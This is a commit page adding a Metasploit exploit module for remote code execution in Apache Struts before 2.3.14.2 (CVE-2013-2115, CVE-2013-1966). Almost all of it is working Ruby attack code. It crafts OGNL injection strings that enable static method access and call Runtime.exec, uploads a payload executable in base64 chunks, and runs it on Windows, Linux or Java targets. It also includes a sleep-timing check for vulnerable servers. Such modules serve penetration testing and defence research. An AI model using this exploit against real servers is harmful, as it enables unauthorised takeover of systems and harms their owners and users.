Added RCE for Struts versions earlier than 2.3.14.2
Heavily based upon my previous module for parameters interceptor based RCE. Tested against the POC given at the reference website successfully.unstable
parent
882c550173
commit
7b43117d87
|
@ -0,0 +1,165 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Exploit::Remote
|
||||||
|
Rank = ExcellentRanking
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Exploit::EXE
|
||||||
|
include Msf::Exploit::FileDropper
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache Struts includeParams Remote Code Execution',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a remote command execution vulnerability in Apache Struts
|
||||||
|
versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
|
||||||
|
arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Eric Kobrin', # Vulnerability Discovery
|
||||||
|
'Douglas Rodrigues', # Vulnerability Discovery
|
||||||
|
'Coverity security Research Laboratory', # Vulnerability Discovery
|
||||||
|
'NSFOCUS Security Team', # Vulnerability Discovery
|
||||||
|
'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2013-2115', '2013-1966'],
|
||||||
|
[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014']
|
||||||
|
],
|
||||||
|
'Platform' => [ 'win', 'linux', 'java'],
|
||||||
|
'Privileged' => true,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
['Windows Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'windows'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
['Linux Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_X86,
|
||||||
|
'Platform' => 'linux'
|
||||||
|
}
|
||||||
|
],
|
||||||
|
[ 'Java Universal',
|
||||||
|
{
|
||||||
|
'Arch' => ARCH_JAVA,
|
||||||
|
'Platform' => 'java'
|
||||||
|
},
|
||||||
|
]
|
||||||
|
],
|
||||||
|
'DisclosureDate' => 'May 24 2013',
|
||||||
|
'DefaultTarget' => 2))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptString.new('PARAMETER',[ false, 'The parameter to perform injection against.',""]),
|
||||||
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/struts2-blank3/example/HelloWorld.action?INJECT"]),
|
||||||
|
OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def execute_command(cmd, opts = {})
|
||||||
|
inject = "PARAMETERTOKEN=${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
|
||||||
|
inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
|
||||||
|
inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
|
||||||
|
uri = String.new(datastore['TARGETURI'])
|
||||||
|
uri = normalize_uri(uri)
|
||||||
|
uri.gsub!(/INJECT/,inject) # append the injection string
|
||||||
|
resp = send_request_cgi({
|
||||||
|
'uri' => uri,
|
||||||
|
'version' => '1.1',
|
||||||
|
'method' => 'GET',
|
||||||
|
})
|
||||||
|
return resp #Used for check function.
|
||||||
|
end
|
||||||
|
|
||||||
|
def exploit
|
||||||
|
#Set up generic values.
|
||||||
|
@payload_exe = rand_text_alphanumeric(4+rand(4))
|
||||||
|
if datastore['PARAMETER'].length == 0
|
||||||
|
datastore['PARAMETER'] = rand_text_alpha_lower(4)
|
||||||
|
end
|
||||||
|
pl_exe = generate_payload_exe
|
||||||
|
append = 'false'
|
||||||
|
#Now arch specific...
|
||||||
|
case target['Platform']
|
||||||
|
when 'linux'
|
||||||
|
@payload_exe = "/tmp/#{@payload_exe}"
|
||||||
|
chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
|
||||||
|
when 'java'
|
||||||
|
@payload_exe << ".jar"
|
||||||
|
pl_exe = payload.encoded_jar.pack
|
||||||
|
exec_cmd = ""
|
||||||
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
|
||||||
|
exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
|
||||||
|
exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
|
||||||
|
exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
|
||||||
|
exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
|
||||||
|
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
|
||||||
|
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
|
||||||
|
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
|
||||||
|
when 'windows'
|
||||||
|
@payload_exe = "./#{@payload_exe}.exe"
|
||||||
|
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
|
||||||
|
else
|
||||||
|
fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
|
||||||
|
end
|
||||||
|
|
||||||
|
#Now with all the arch specific stuff set, perform the upload.
|
||||||
|
#109 = length of command string plus the max length of append.
|
||||||
|
sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
|
||||||
|
chunk_length = 2048 - sub_from_chunk
|
||||||
|
chunk_length = ((chunk_length/4).floor)*3
|
||||||
|
while pl_exe.length > chunk_length
|
||||||
|
java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
|
||||||
|
pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
|
||||||
|
append = true
|
||||||
|
end
|
||||||
|
java_upload_part(pl_exe,@payload_exe,append)
|
||||||
|
execute_command(chmod_cmd) if target['Platform'] == 'linux'
|
||||||
|
execute_command(exec_cmd)
|
||||||
|
register_files_for_cleanup(@payload_exe)
|
||||||
|
end
|
||||||
|
|
||||||
|
def java_upload_part(part, filename, append = 'false')
|
||||||
|
cmd = ""
|
||||||
|
cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
|
||||||
|
cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
|
||||||
|
cmd << "#f.close()"
|
||||||
|
execute_command(cmd)
|
||||||
|
end
|
||||||
|
|
||||||
|
def check
|
||||||
|
sleep_time = datastore['CHECK_SLEEPTIME']
|
||||||
|
check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
|
||||||
|
t1 = Time.now
|
||||||
|
print_status("Asking remote server to sleep for #{sleep_time} seconds")
|
||||||
|
response = execute_command(check_cmd)
|
||||||
|
t2 = Time.now
|
||||||
|
delta = t2 - t1
|
||||||
|
|
||||||
|
|
||||||
|
if response.nil?
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
elsif delta < sleep_time
|
||||||
|
return Exploit::CheckCode::Safe
|
||||||
|
else
|
||||||
|
return Exploit::CheckCode::Appears
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
Loading…
Reference in New Issue